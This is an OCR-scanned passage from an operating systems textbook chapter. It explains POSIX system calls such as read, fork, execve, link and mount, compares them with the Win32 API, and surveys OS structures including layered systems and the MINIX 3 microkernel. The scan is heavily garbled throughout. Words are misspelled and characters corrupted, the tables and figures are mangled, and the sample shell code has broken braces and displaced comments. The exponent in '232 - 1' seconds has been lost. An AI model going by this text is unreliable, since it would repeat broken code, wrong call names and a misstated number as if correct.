have seen that operating systems have two main functions: providing abstractions to user programs and managing the computer's resources. For the ffi?st part, the interaction between user programs and the operating system deals WIth the former; for example, creating, writing, reading, and del�ting files. The reSource management palt is largely transparent to the users and done automaticallr Thus the i�terfa�e between user programs and the operating system is primanly about dealmg WIth the abstractions. To really understand what operating systems do, we must examine this interface closely. The system calls available in th� interface vary from operating system to operating system (although the underlymg concepts tend to be similar). 

. We are thus forced to make a choice between (1) vague generalities ("operatmg systems have system calls for reading files") and (2) some specific system ("UNIX has a read system caII with three parameters: one to specify the file, one to tell where the data are to be put, and one to tell how many bytes to read"). 



48 INTRODUC110N CHAP. 1 

We have chosen the latter approach, It's more work that way. but it gives 
more insight into what operating systems really do. Although this discussion spe
cifically refers to POSIX (International Standard 9945-1), hence also to UNIX, 
System Y, BSD, Linux, MINIX 3, and so on, most other modem operating systems 
have system cans that perfonn the_same functions, even if the details differ. Since 
the actual mechanics of issuing a system call are highly machine dependent and 
often must be expressed in assembly code, a procedure library is provided to make 
it possible to make system calls from C programs and often from other languages 
as welL 

It is useful to keep the following in mind. Any single-CPU computer can exe
cute only one instruction at a time. If a process is running a user program in user 
mode and needs a system service, such as reading data from a file, it has to exe
cute a trap instruction to transfer control to the operating system. The operating 
system then figures out what the calling process wants by inspecting the parame
ters. Then it carries out the system can and returns control to the instruction fol
lowing the system call. In a sense, making a system call is like making a special 
kind of procedure call, only system calls enter the kernel and procedure calls do 
not. 

To make the system call mechanism clearer, let us take a quick look at the 
read system call. As mentioned above, it has three parameters: the first one speci
fying the file, the second one pointing to the buffer, and the third one giving the 
number of bytes to read. Like nearly all system calls, it is invoked from C pro
grams by calling a library procedure with the same name as the system call: read. 
A call from a C program might look like this: 

count = read(fd, buffer, nbytes); 

The system ,call (and the library procedure) return the number of bytes actually 
read in count. This value is normally the same as nbytes, but may be smaner, if, 
for example, end-of-file is encountered while reading. 

If the system call cannot be canied out, either due to an invalid parameter or a 
disk error, count is set to -1, and the error number is put in a global variable, 
ermo. Programs should always check the results of a system call to see if an error 
occurred. 

System calls are performed in a series of steps. To make this concept dearer, 
let us examine the read call discussed above. In preparation for calling the read 
library procedure, which actually makes the read system call, the calling program 
first pushes the parameters onto the stack, as shown in steps 1-3 in Fig. 1-17. 

C and C++ compilers push the parameters onto the stack in reverse order for 
historical reasons (having to do with making the first parameter to print/, the for
mat string, appear on top of the stack). The first and third parameters are called 
by value, but the second parameter is passed by reference, meaning that the ad
dress of the buffer (indicated by &) is passed, not the contents of the buffer. Then 
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Figure 1�17. The 1 1  steps in making the system call read(fd, buffer, nbytes). 
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comes the actual can to the library procedure (step 4). This instruction is the nor
mal procedure call instruction used to call all procedures. 

The library procedure, possibly written in assembly language, typically puts 
the system call number in a place where the operating system expects it, such as a 
register (step 5). Then it executes a TRAP instruction to switch from user·mode to 
kernel mode and start execution at a fixed address within the kernel (step 6). The 
TRAP instruction is actually fairly similar to the procedure call instruction in the 
sense that the instruction following it is taken from a distant location and the re
turn address is saved on the stack for use later. 

Nevertheless, the TRAP instruction also differs from the procedure call in
struction in two fundamental ways. First, as a side effect, it switches into kernel 
mode. The procedure call instruction does not change the mode. Second, rather 
than giving a relative or absolute address where the procedure is located, the TRAP 
instruction cannot jump to an arbitrary address. Depending on the architecture, it 
either jumps to a single fixed location, there is an 8-bit field in the instruction giv
ing the index into a table in memory containing jump addresses, or equivalent. 

The kernel code that starts following the TRAP examines the system call num
ber and then dispatches to the con-ect system call handler, usually via a table of 
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pointers to system call handlers indexed on system call number (step 7). At that 
point the system call handler ruos (step 8). Once the system call handler has com
pleted its work, control may be returned to the user-space library procedure at the 
instruction following the TRAP instruction (step 9). This procedure then returns to 
the user program in the usual way procedure calls return (step 10). 

To finish the job, the user program has to clean up the stack, as it does after 
any procedure call (step 1 1 ). Assuming the stack grows downward, as it often 
does, the compiled code increments the stack pointer exactly enough to remove 
the parameters pushed before the call to read. The program is now free to do 
whatever it wants to do next. 

In step 9 above, we said "may be returned to the user�space library proce
dure" for good reason. The system call may block the caller, preventing it from 
continuing. For example, if it is trying to read from the keyboard and nothing has 
been typed yet, the caller has to be blocked. In this case, the operating system 
will look around to see if some other process can be run next. Later, when the 
desired input is available, this process will get the attention of the system and 
steps 9-1 1 will occur. 

In the following sections, we will examine some of the most heavily used 
POSIX system calls, or more specifically, the library procedures that make those 
system caBs. POSIX has about 100 procedure calls. Some of the most important 
ones are listed in Fig. 1-18, grouped for convenience in four categories. In the 
text we will briefly examine each call to see what it does. 

To a large extent, the services offered by these calls determine most of what 
the operating system has to do, since the resource management on personal com
puters is minimal (at least compared to big machines with multiple users). The 
services include things like creating and terminating processes, creating, deleting, 
reading, and writing files, managing directories, and performing input and output. 

As an aside, it is worth pointing out that the mapping of POSIX procedure 
calls onto system calls is not one-to�one. The POSIX standard specifies a number 
of procedures that a confonnant system must supply, but it does not specify 
whether they are system calls, library calls, or something else. If a procedure can 
be carried out without invoking a system call (i.e., without trapping to the kernel), 
it will usually be done in user space for reasons of performance. However, most of 
the POSIX procedures do invoke system calls, usually with one procedure map
ping directly onto one system call. In a few cases, especially where several re
quired procedures are only minor variations of one another, one system call hand
les more than one library calL 

1.6.1 System Calls for Process Management 

The first group of calls in Fig. 1-18 deals with process management. Fork is a 
good place to start the discussion. Fork is the only way to create a new process in 
POSIX. It creates an exact duplicate of the original process, including all the file 
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Process mana ement 9 
Call Description 

... 

pid fork( ) Create a child process identical to the parent 

pid wailpid(pid, &statloc, options) Wait for a child to terminate 

s _ execve(name, argv, environp) Replace a process' core image 

exit(status) Terminate process execution and return status 

File management 

Call Description 

fd _ open(fHe, how, ... J Open a file for reading, writing, or both 

s _ close(fd) Close an open file 

n _ read(fd, buffer, nbytes) Read data from a file into a buffer 

n _ wrlte(fd, buffer, nbytes) Write data from a buffer into a file 

position _ Jseek(fd, offset, whence) Move the file pointer 

s ::: stat(name, &buf) Get a file's status information 

Directory and file system manag ment e 

CaU 

s mkdir(name, mode) 

s rmdir(name) 

s - Jink(name1, name2) 

s unlink(name) 

s - mount(specia!, name, flag) 

s umount(special) 

Call 

s chdir(dlrname) 

s :::: chmod(name, mode) 

s ki!l(pid, signal) 

seconds - time(&seconds) 

Description 

Create a new directory 

Remove an empty directory 

Create a new entry, name2, pointing to name1 

Remove a directory entry 

Mount a tHe system 

Unmount a file system 

M' II Isce aneous 

Description 

Change the working directory 

Change a file's protection bits 

Send a signa! to a process 

Get the elapsed time since Jan. 1 , 1970 

Figure 1*18. Some of the major POSIX system calls. The return code s is -I jf 
an en-or has occurred. The return codes are as follows: pid is a process id,fd is a 
file descriptor, n is a byte count, position is an offset within the file, and seconds 
is the elapsed time. The parameters are explained in the tex!. 
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descriptors, registers-everything, After the fork, the original process and the 
copy (the parent and child) go their separate ways. All the variables have identical 
values at the time of the fork, but since the parent's data are copied to create the 
child, subsequent changes in one of them do not affect the other one. (The pro
gram text, which is unchangeable, is shared between parent and child .) The fork 
call returns a value, which is zero in the child and equal to the child's process 
identifier or PID in the parent. Using the returned PID, the two processes can see 
which one is the parent process and which one is the child process. 

In most cases, after a fork, the child will need to execute different code from 
the parent. Consider the case of the shell. It reads a command from the terminal, 
forks off a child process, waits for the child to execute the command, and then 
reads the next command when the child terminates. To wait for the child to fin
ish, the parent executes a waitpid system call, which just waits until the child ter
minates (any child if more than one exists). Waltpid can wait for a specific child, 
or for any old child by setting the first parameter to -1. When waitpid completes, 
the address pointed to by the second parameter, statloc, will be set to the child's 
exit status (normal or abnormal termination and exit value). Various options are 
also provided, specified by the third parameter. 

Now consider how fork is used by the shell. When a command is typed, the 
shell forks off a new process. This child process must execute the user command. 
It does this by using the execve system call, which causes its entire core image to 
be replaced by the file named in its first parameter. (Actually, the system call it
self is exec, but several library procedures call it with different parameters and 
slightly different names. We will treat these as system calls here.) A highly sim
plified shell illustrating the use of fork, waitpid, and execve is shown in Fig. 1-19. 

#define TRUE 1 

while (TRUE) { 
type_prompt( ); 
read_command(command, parameters); 

if (fork() != 0) ( 
/* Parent code. */ 
waitpid( -1 ,  &status, 0); 

) else ( 
/* Chifd code. */ 
execve(command, parameters, 0); 

/* repeat forever */ 
/* display prompt on the screen */ 
/* read input from terminal */ 

/* fork off child process */ 

/* wait for child to exit *1 

/* execute command *f 

Figure 1-19. A stripped-down shell. Throughout this book, TRUE is assumed to 
be defined as I .  

In the most general case, execve has three parameters: the name of the file to 
be executed, a pointer to the argument array, and a pointer to the environment 

SEC. 1.6 SYSTEM CALLS 53 

array. These will be described shortly. Various library routines, including execl, 
execv, execle, and execve, are provided to allow the parameters to be omitted or 
specified in various ways. Throughout this book we will use the name exec to 
represent the system call invoked by all of these. 

Let us consider the case of a command such as 

cp file1 file2 

used to copy file] tofile2. After the shell has forked, the child process locates and 
executes the file cp and passes to it the names of the source and target files. 

The main program of cp (and main program of most other C programs) con
tains the declaration 

main(argc, argv, envp) 

where argc is a count of the number of items on the command line, including the 
program name. For the example above, argc is 3. 

The second parameter, argv, is a pointer to an an·ay. Element i of that array is 
a pointer to the i-th string on the command line. In our example, argv[OJ would 
point to the string "cp", argv[1] would point to the string "filel >? and argv[21 
would point to the string "file2". 

The third parameter of main, envp, is a pOinter to the environment, <\,Il array of 
strings containing assignments of the form name = value used to pass infonnation 
such as the terminal type and home directory name to programs. There are library 
procedures that programs can call to get the environment variables, which are 
often used to customize how a user wants to perform certain tasks (e.g., the 
default printer to use). In Fig. 1-19, no environment is passed to the child, so the 
third parameter of execve is a zero. 

If exec seems complicated, do not despair; it is (semantically) the most com
plex of all the POSIX system calls. All the other ones are much simpler. As an 
example of a simple one, consider exit, which processes should use when they are 
finished executing. It has one parameter, the exit status (0 to 255), which is re
turned to the parent via sfatloc in the waitpld system call. 

Processes in UNIX have their memory divided up into three segments: the text 
segment (i.e., the program code), the data segment (Le., the variables), and the 
stack segment. The data segment grows upward and the stack grows downward, 
as shown in Fig. 1-20. Between them is a gap of unused address space. The stack 
grows into the gap automatically, as needed, but expansion of the data segment is 
done explicitly by using a system call, brk, which specifies the new address where 
the data segment is to end. This call, however, is not defined by the POSIX stan
dard, since programmers are encouraged to use the malloc library procedure for 
dynamically allocating storage, and the underlying implementation of maUoe was 
not thought to be a suitable subject for standardization since few programmers use 
it directly and it is doubtful that anyone even notices that brk is not in POSIX. 
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Address (hex) 
,----, FFFF 

'-----' 0000 

Figure 1-20. Processes have three segments: text, data, and stack. 

1.6.2 System Calls for File Management 

CHAP. 1 

Many system calls relate to the file system. In this section we will look at 
calls that operate on individual files; in the next one we will examine those that 
involve directories or the file system as a whole. 

To read or write a file, the file must first be opened using open. This call 
specifies the file name to be opened, either as an absolute path name or relative to 
the working directory, and a code of O_RDONLY, O_WRONLY, or O_RDWR, 
meaning open for reading, writing, or both. To create a new file, the O_CREAT 
parameter is used. The file descriptor returned can then be used for reading or 
writing. Afterward, the file can be closed by close, which makes the file descrip
tor available for reuse on a subsequent open. 

The most heavily used calls are undoubtedly read and write. We saw read 
earlier. Write has the same parameters. 

Although most programs read and write files sequentially, for some applica
tions programs need to be able to access any part of a file at random. Associated 
with each file is a pointer that indicates the current position in the file. When read
ing (writing) sequentially, it normally points to the next byte to be read (written). 
The Iseek call changes the value of the position pointer, so that subsequent calls to 
read or write can begin anywhere in the file. 

Lseek has three parameters: the first is the file descriptor for the file, the sec
ond is a file position, and the third tells whether the file position is relative to the 
beginning of the file, the current position, or the end of the file. The v�lue re
turned by [seek is the absolute position in the file (in bytes) after changmg the 
pointer. 

For each file, UNIX keeps track of the file mode (regular file, special file, di
rectory, and so on), size, time of last modification, and other information. Pro
grams can ask to see this information via the stat system call. The first parameter 
specifies the file to be inspected; the second one is a pointer to a structure where 
the information is to be put. The fstat calls does the same thing for an open file. 

SEC. 1.6 SYSTEM CALLS 55 

1.6.3 System Calls for Directory Management 

In this section- we will look at some system calls that relate more to directories 
or the file system as a- whole, rather than just to one specific file as in the previous 
section. The first two calls, mkdir and rmdir, create and remove empty directories, 
respectively. The next call is link. Its purpose is to allow the same file to appear 
under two or more names, often in different directories. A typical use is to allow 
several members of the same programming team to share a common file, with 
each of them having the file appear in his own directory, possibly under different 
names. Sharing a file is not the same as giving every team member a private copy; 
having a shared file means that Changes that any member of the team makes are 
instantly visible to the other members-there is only one file. When copies are 
made of a file, subsequent changes made to one copy do not affect the others. 

To see how link works, consider the situation of Fig. 1-21(a). Here are two 
users, as! and jim, each having his own directory with some files. If ast now exe
cutes a program containing the system call 

link("/usr/jim/memo", "/usr/as-Unote"); 

the file memo injim's directory is now entered into ast's directory under the name 
note. Thereafter, lusrljimlmemo and lusrlastlnote refer to the same file. As an 
aside, whether user directories are kept in Iusr, luser, /home, or somewh\':re else is 
simply a decision made by the local system administrator. 

/usriast lusr/jim lusr/ast lusrljim 
1 6  mail 31 bin 16 mail 31 bin 
81 games 70 memo 81 games 70 memo 40 test 59 tc. 40 test 59 tc. 

38 prog1 70 note 38 prog1 

(a) (bl 

Figure 1·21. (a) Two directories before linking lusr/jimlmemo to ast's directory. 
(b) The same directories after linking. 

Understanding how link works will probably make it clearer what it does. 
Every file in UNIX has a unique number, its i-number, that identifies it. This i
number is an index into a table of i-nodes, one per file, telling who owns the file, 
where its disk blocks are, and so on. A directory is simply a file containing a set 
of (i-number, ASCII name) pairs. In the first versions of UNIX, each directory 
entry was 16 bytes-2 bytes for the i-number and 14 bytes for the name. Now a 
more complicated structure is needed to support long file names, but conceptually 
a directory is still a set of (i-number, ASCII name) pairs. In Fig. 1-21, mail has i
number 16, and so on. \Vhat link does is simply create a new directory entry with a 
(possibly new) name, using the i-number of an existing file. In Fig. 1-21(b), two 
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entries have the same i-number (70) and thus refer to the same file. If either one 
is later removed, using the unlink system call, the other one remains. If both are 
removed, UNIX OOsees that no entries to the file exist (a field in the i-node keeps 
track of the number of directory entries pointing to the file), so the file is removed 
from the disk. 

As we have mentioned earlier, the mount system call allows two file systems 
to be merged into one. A common situation is to have the root file system con
taining the binary (executable) versions of the common commands and other 
heavily used files, on a hard disk. The user can then insert a CD-ROM disk with 
files to be read into the CD-ROM drive. 

By executing the mount system call, the CD-ROM file system can be attached 
to the root file system, as shown in Fig. 1-22. A typical statement in C to perfonn 
the mount is 

mount("/devlfdO", "/mnt", 0); 

where the first parameter is the name of a block special file for drive 0, the second 
parameter is the place in the tree where it is to be mounted, and the third parame
ter tells whether the file system is to be mounted read-write or read-only. 

� 
bin dev Ilb mnt usr bin 

(a) (b) 

Figure 1-22. (a) File system before the mount. (b) File system after the mount. 

After the mount call, a file on drive 0 can be accessed by just using its path 
from the root directory or the working directory, without regard to which drive it 
is on. In fact, second, third, and fourth drives can also be mounted anywhere in 
the tree. The mount can makes it possible to integrate removable media into a 
single integrated file hierarchy, without having to worry about which device a file 
is on. Although this example involves CD-ROMs, portions of hard disks (often 
called partitions or minor devices) can also be mounted this way, as well as ex
ternal hard disks and USB sticks. When a file system is no longer needed, it can 
be unmounted with the umount system call. 

1,6.4 Miscellaneous System Calls 

A variety of other system calls exist as welL We will look at just four of them 
here. The chdir call changes the current working directory. After the call 

chdir("/usr/asUtest"); 
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an open on the file xyz will open lusrlastltestlxyz. The concept of a working di
rectory eliminates the need for typing (long) absolute path names all the time. 

In UNIX every file has a mode used for protection. The mode includes the 
read-write-execute bits for the owner, group, and others. The chmod system call 
makes it possible to change the mode of a file. For example, to make a file read
only by everyone ex�ept the owner, one could execute 

chmod("file", 0644); 

The kill system call is the way users and user processes send signals. If a 
process is prepared to catch a particular signal, then when it arrives, a signal hand
ler is run. If the process is not prepared to handle a signal, then its arrival kills the 
process (hence the name of the call). 

POSIX defines several pro.cedures for dealing with time. For example, time 
just returns the current time in seconds, with 0 corresponding to Jan. 1, 1970 at 
midnight (just as the day was starting, not ending). On computers using 32-bit 
words, the maximum value time can return is 232 - 1 seconds (assuming an un
signed integer is used). This value corresponds to a little over 136 years. Thus in 
the year 2106, 32-bit UNIX systems will go berserk, not unlike the famous Y2K 
problem that would have wreaked havoc with the world's computers in 2000, 
were it not for the massive effort the IT industry put into fixing the problem. If 
you currently have a 32-bit UNIX system, you are advised to trade it in for a 64-bit 
one sometime before the year 2106. 

1.6.5 The Windows Win32 API 

So far we have focused primarily on UI\1X. Now it is time to look briefly at 
Windows. Windows and UNIX differ in a fundamental way in their respective 
programming models. A UNIX program consists of code that does something or 
other, making system calls to have certain services perfonned. In contrast, a Win
dows program is nonnally event driven. The main program waits for some event 
to happen, then calls a procedure to handle it. Typical events are keys being 
struck, the mouse being moved, a mouse button being pushed, or a CD-ROM 
inserted. Handlers are then called to process the event, update the screen and 
update the internal program state. All in all, this leads to a somewhat different 
style of programming than with UNIX, but since the focus of this book is on oper
ating system function and structure, these different programming models will not 
concern us much more. 

Of course, Windows also has system calls. With UNIX, there is almost a one
to-one relationship between the system calls (e.g., read) and the library proce
dures (e.g . ,  read) used to invoke the system calls. In other words, for each system 
call, there is roughly one library procedure that is caned to invoke it, as indicated 
in Fig. 1-17. Furthennore, POSIX has only about 100 procedure calls. 
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With Windows, the situation is radically different. To start with, the library 
calls and the actual system calls are highly decoupled. Microsoft has defined a set 
of procedures called the Win32 API (Application Program Interface) that proH 
grammers are expected to use to get operating system services. This interface is 
(partially) supported on all versions of Windows since Windows 95. By decou
pIing the interface from the actual system calls, Microsoft retains the ability to 
change the actual system calls in time (even from release to release) without 
invalidating existing programs. What actually constitutes Win32 is also slightly 
ambio-uous because Windows 2000, Windows XP, and Windows Vista have many 
new �alls that were not previously available. In this section, Win32 means the in
terface supported by all versions of Windows. 

The number of Win32 API calls is extremely large, numbering in the 
thousands. Furthermore, while many of them do invoke system calls, a substantial 
number are carried out entirely in user space. As a consequence, with Windows it 
is impossible to see what is a system call (i.e., performed by the kernel) and what 
is simply a user-space library call. In fact, what is a system call in one version of 
Windows may be done in user space in a different version, and vice versa. When 
we discuss the Windows system calls in this book, we will use the Win32 proce
dures (where appropriate) since Microsoft guarantees that these will be stable 
over time. But it is worth remembering that not all of them are true system calls 
(i.e., traps to the kernel). 

The Win32 API has a huge number of calls for managing windows, geometric 
figures, text, fonts, scroIlbars, dialog boxes, menus, and other features of the GUI. 
To the extent that the graphics subsystem runs in the kernel (true on some ver
sions of Windows but not on all), these are system calls; otherwise they are just li
brary calls. Should we discuss these calls in this book or not? Since they are not 
really related to the function of an operating system, we have decided not to, even 
though they may be carried out by the kernel. Readers interested in the Win32 
API should consult one of the many books on the subject (e.g., Hart, 1997; Rector 
and Newcomer, 1997; and Simon, 1997). 

Even introducing all the Win32 API ca1ls here is out of the question, so we 
will restrict ourselves to those calls that roughly correspond to the functionality of 
the UNIX calls listed in Fig. 1-18. These are listed in Fig. 1-23. 

Let us now briefly go through the list of Fig. 1-23. Create Process creates a 
new process. It does the combined work of fork and execve in UNIX. It has many 
parameters specifying the properties of the newly created process. Windows does 
not have a process hierarchy as UNIX does so there is no concept of a parent proc
ess and a child process. After a process is created, the creator and createe are 
equals. WaitForSingleObject is used to wait for an event. Many possible events 
can be waited for. If the parameter specifies a process, then the caller waits for 
the specified process to exit, which is done using ExitProcess. 

The next six calls operate on files and are functionally similar to their UNIX 
counterparts although they differ in the parameters and details. Still, files can be 
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UNIX Win32 Description 

fork Create Process Create a new process 

waitpid WaitForSingleObject Can wait for a process to exit 

execve (none) CreateProcess - fork + execve 

exit ExitProcess Terminate execution 

open CreateFUe Create a file or open an existing file 

close CloseHandle Close a file 

read ReadFile Read data from a file 

write WriteFile Write data to a file 

Iseek SelFHePointer Move the file pointer 

stat GetFileAttributesEx Get various file attributes 

mkdir CreateDirectory Create a new directory 

rmdir RemoveDirectory Remove an empty directory 

link (none) Win32 does not support links 

unlink DeleteFlie Destroy an existing file 

mount (none) Win32 does not support mount 

umount (none) Win32 does not support mount 

chdir SetCurrentDirectory Change the current working directory . 

chmod (none) Win32 does nol support security (although NT does) 

kill (none) Win32 does not support signalS 

time GetLocalTime Get the current time 

Figure 1·23. The Win32 API calls that roughly correspond to the UNIX calls of 
Fig, 1-18-
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opened, closed, read, and written pretty much as in UNIX. The SetFilePointer and 
GetFileAttributesEx calls set the file position and get some of the file attributes. 

Windows has directories and they are created with CreateDlrectory and Re
moveDirectory API calls, respectively. There is also a notion of a current direc
tory, set by SetCurrentDirectory. The current time of day is acquired using GetLo
caJTime. 

The Win32 interface does not have links to files, mounted file systems, secu
rity, or signals, so the calls corresponding to the UNIX ones do not exist. Of 
course, Win32 has a huge number of other calls that UNIX does not have, espe
cially for managing the GUL And Windows Vista has an'elaborate security sys
tem and also supports file links. 

One last note about Win32 is perhaps worth making. Win32 is not a terribly 
uniform or consistent interface. The main culprit here was the need to be back
ward compatible with the previous 16-bit interface used in Windows 3.x. 
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1.7 OPERATING SYSTEM STRUCTURE 

Now that we have seen what operating systems look like on the outside (i.e., 
the programmer's interface), it is time to take a look inside. In the following sec
tions, we will examine six different structures that have been tried, in order to get 
some idea of the spectrum of possibilities. These are by no means exhaustive, but 
they give an idea of some designs that have been tried in practice. The six designs 
are monolithic systems, layered systems, microkernels, client-server systems, vir
tual machines, and exokemels. 

1.7.1 Monolithic Systems 

By far the most common organization, in this approach the entire operating 
system runs as a single program in kernel mode. The operating system is written 
as a collection of procedures, linked together into a single large executable binary 
program. When this technique is used, each procedure in the system is free to call 
any other one, if the latter provides some useful computation that the fonner 
needs. Having thousands of procedures that can call each other without restriction 
often leads to an unwieldy and difficult to understand system. 

To construct the actual object program of the operating system when this ap
proach is used, one first compiles all the individual procedures (or the files con
taining the procedures) and then binds them all together into a single executable 
file using the system linker. In tenus of information hiding, there is essentially 
none-every procedure is visible to every other procedure (as opposed to a struc
ture containing modules or packages, in which much of the infonuation is hidden 
away inside modules, and only the officially designated entry points can be called 
from outside the module). 

Even in monolithic systems, however, it is possible to have some structure. 
The services (system calls) provided by the operating system are requested by put
ting the parameters in a well-defined place (e.g., on the stack) and then executing 
a trap instruction. This instruction switches the machine from user mode to kernel 
mode and transfers control to the operating system, shown as step 6 in Fig. 1-17. 
The operating system then fetches the parameters and determines which system 
call is to be carried out. After that, it indexes into a table that contains in slot k a 
pointer to the procedure that canies out system call k (step 7 in Fig. 1-17). 

This organization suggests a basic structure for the operating system: 

1 .  A main program that invokes the requested service procedure. 

2. A set of service procedures that carry out the system calls. 

3. A set of utility procedures that help the service procedures. 

In this model, for each system call there is one service procedure that takes care 
of it and executes it. The utility procedures do things that are needed by several 
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service procedures, such as fetching data from user programs. This division of the 
procedures into three layers is shown in Fig. 1-24. 

Main 
procedure 

Service 
procedures 

UWity 
procedures 

Figure I�24. A simple structuring model for a monolithic system. 

In addition to the core operating system that is loaded when the computer is 
booted, many operating systems support loadable extensions, such as I/O device 
drivers and file systems. These components are loaded on demand. 

1.7.2 Layered Systems 

A generalization of the approach of Fig. 1-24 is to organize the operating sys
tem as a hierarchy of layers, each one constructed upon the one below it. The first 
system constructed in this way was the THE system built at the Technische 
Hogeschool Eindhoven in the Netherlands by E. W. Dijkstra (1968) and his stu
dents. The THE system was a simple batch system for a Dutch computer, the 
Electrologica X8, which had 32K of 27�bit words (bits were expensive back then). 

The system had six layers, as shown in Fig. 1-25. Layer 0 dealt with alloca
tion of the processor, switching between processes when interrupts occurred or 
timers expired. Above layer 0, the system consisted of sequential processes, each 
of which could be programmed without having to worry about the fact that multi
ple processes were running on a single processor. In other words, layer 0 pro
vided the basic multiprogramming of the CPU. 

Layer 1 did the memory management. It allocated space for processes in 
main memory and on a SI2K word drum used for holding parts of processes 
(pages) for which there was no room in main memory. Above layer 1 ,  processes 
did not have to worry about whether they were in memory or on the drum; the lay
er 1 software took care of making sure pages were brought into memory whenever 
they were needed. 

Layer 2 handled communication between each process and the operator con
sole (that is, the user). On top of this layer each process effectively had its own 
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Layer Function 

5 The operator 

4 User programs 

3 Inputfoutput management 

2 Operator-process communicatIon 

1 Memory and drum management 

0 Processor allocation and multiprogramming 

Figure 1-25. Structure of the THE operating system. 

operator console. Layer 3 took care of managing the I/O devices and buffering 

the infonnation streams to and from them. Above layer 3 each process could deal 

with abstract I/O devices with nice properties, instead of real devices with many 

peculiarities. Layer 4 was where the user programs were found. They did not 

have to worry about process, memory, console, or IIO management. The system 

operator process was located in layer 5. . 
A further generalization of the layering concept was present In the MULTICS 

system. Instead of layers, MULTICS was described as having a series of co�ce�

tric rings, with the inner ones being more privile�ed than the ?uter ones (whIch IS 

effectively the same thing). When a procedure In an outer nng wanted to c�ll a 

procedure in an inner ring, it had to make the equivalent of a systen: ,:all, that IS, a 

TRAP instruction whose parameters were carefully checked for valtdlty before al

lowing the call to proceed. Although the entire operating system wa� part .of the 

address space of each user process in MULTICS, the hardware made It posSlbl� to 

designate individual procedures (memory segments, actually) as protected agamst 

reading, writing, or executing. . . 
Whereas the THE layering scheme was really only a desIgn aId, because all 

the parts of the system were ultimately linked together into a single execut�ble 

program in MULTICS, the ring mechanism was very much present at run tlme 

and enfo
'
rced by the hardware. The advantage of the ring mechanism is that it can 

easily be extended to structure user subsystems. For exampl�, a profes�or �ould 

write a program to test and grade student programs and run thIS program III nng �, 
with the student programs running in ring n + 1 so that they could not change theIr 

grades. 

1.7.3 Microkernels 

With the layered approach, the designers have a choice where to draw the 
kernel-user boundary. Traditionally, all the layers went in the kernel, but that is 
not necessary. In fact, a strong case can be made for putting as little as possible in 
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kernel mode because bugs in the kernel can bring down the system instantly. In 
contrast, user processes can be set up to have less power so that a bug there may 
not be fataL 

Various researchers have studied the number of bugs per 1000 lines of code 
(e.g., Basilli and Perricone, 1984; and Ostrand and Weyuker, 2002). Bug density 
depends on module-size, module age, and more, but a ballpark figure for serious 
industrial systems is ten bugs per thousand lines of code. This means that a mono
lithic operating system of five million lines of code is likely to contain something 
like 50,000 kernel bugs. Not all of these are fatal, of courSe, since some bugs may 
be things like issuing an incorrect error message in a situation that rarely occurs. 
Nevertheless, operating systems are sufficiently buggy that computer manufact
urers put reset buttons on them (often on the front panel), something the manll
facturers of TV sets, stereos, and cars do not do, despite the large amount bf soft
ware in these devices. 

The basic idea behind the microkernel design is to achieve high reliability by 
splitting the operating system up into small, well-defined modules, only one of 
which-the microkernel-runs in kernel mode and the rest run as relatively pow
erless ordinary user processes. In particular, by running each device driver and 
file system as a separate user process, a bug in one of these can crash that com
ponent, but cannot crash the entire system. Thus a bug in the audio driver will 
cause the sound to be garbled or stop, but will not crash the computer. I� contrast, 
in a monolithic system with all the drivers in the kernel, a buggy audio driver can 
easily reference an invalid memory address and bring the system to a grinding halt 
instantly. 

Many microkernels have been implemented and deployed (Accetta et al., 
1986; Haertig et aI., 1997; Heiser et a1.. 2006; Herder et aI., 2006; Hildebrand. 
1992; Kirsch et a1.. 2005; Liedtke. 1993, 1995. 1996; Pike et aI., 1992; and Zuberi 
et al., 1999). They are especially common in real-time, industrial, avionics, and 
military applications that are mission critical and have very high reliability re
quirements. A few of the bettt;:r-known microkernels are Integrity, K42, L4, 
PikeOS, QNX, Symbian, and MINIX 3. We will now give a brief overview of 
MINIX 3, which has taken the idea of modularity to the limit, breaking most of the 
operating system up into a number of independent user-mode processes. MINIX 3 
is a POSIX conformant, open-source system freely available at www.minix3.org 
(Herder et aI., 2006a; Herder et a1.. 2006b). 

The MINIX 3 microkernel is only about 3200 lines of C and 800 lines of 
assembler for very low-level functions such as catching interrupts and switching 
processes. The C code manages and schedules processes,_ handles interprocess 
communication (by passing messages between processes), and offers a set of 
about 35 kernel calls to anow the rest of the operating system to do its work. 
These calls perform functions like hooking handlers to interrupts, moving data be
tween address spaces, and installing new memory maps for newly created proc
esses. The process structure of MINIX 3 is shown in Fig. 1-26, with the kernel call 
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handlers labeled Sys. The device driver for the clock is also in the kernel because 
the scheduler interacts closely with it. All the other device drivers run as separate 
user processes. 

User 
mode 

Figure 1�26. Structure of the MINIX 3 system. 

Outside the kernel, the system is structured as three layers of processes all 
running in user mode. The lowest layer contains the device drivers. Since they 
run in user mode, they do not have physical access to the I/O port space and can� 
not issue 1/0 commands directly. Instead, to program an I/O device, the driver 
builds a structure telling which values to write to which lIO ports and makes a 
kernel call telling the kernel to do the write. This approach means that the kernel 
can check to see that the driver is writing (or reading) from I/O it is authorized to 
use. Consequently, (and unlike a monolithic design), a buggy audio driver cannot 
accidentally write on the disk 

Above the drivers is another user-mode layer containing the servers, which do 
most of the work of the operating system. One or more file servers manage the 
file system(s), the process manager creates, destroys, and manages processes, and 
so on. User programs obtain operating system services by sending short messages 
to the servers asking for the POSIX system calls. For example, a process needing 
to do a read sends a message to one of the file servers telling it what to read. 

One interesting server is the reincarnation -server, whose job is to check if 
the other servers and drivers are functioning correctly. In the event that a faulty 
one is detected, it is automatically replaced without any user intervention. In this 
way the system is self healing and can achieve high reliability. 

The system has many restrictions limiting the power of each process. As 
mentioned, drivers can only touch authorized I/O ports, but access to kernel calls 
is also controlled on a per process basis, as is the ability to send messages to other 
processes. Processes can also grant limited pennission for other processes to have 
the kernel access their address spaces. As an example, a file system can grant 
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permission for the disk driver to let the kernel put a newly read in disk block at a 
specific address within the file system's address space. The sum total of all these 
restrictions is that each driver and server has exactly the power to do its work and 
nothing more, thus greatly limiting the damage a buggy component can do. 

An idea somewhat related to having a minimal kernel is to put the mechan
ism for doing something in the kernel but not the policy. To make this point bet
ter, consider the scheduling of processes. A relatively simple scheduling algo
rithm is to assign a priority to every process and then have the kernel run the 
highest-priority process that is runnable. The mechanism-in the kernel-is to 
look for the highest-priority process and run it. The policy-assigning priorities 
to processes--can be done by user-mode processes. In this way policy and mech
anism can be decoupled and the kernel can be made smaller. 

1.7.4 Client-Server Model 

A slight variation of the microkernel idea is to distinguish two classes of proc
esses, the servers, each of which provides some service, and the clients, which 
use these services. This model is known as the client-server model. Often the 
lowest layer is a microkemel, but that is not required. The essence is the presence 
of client processes and server processes. 

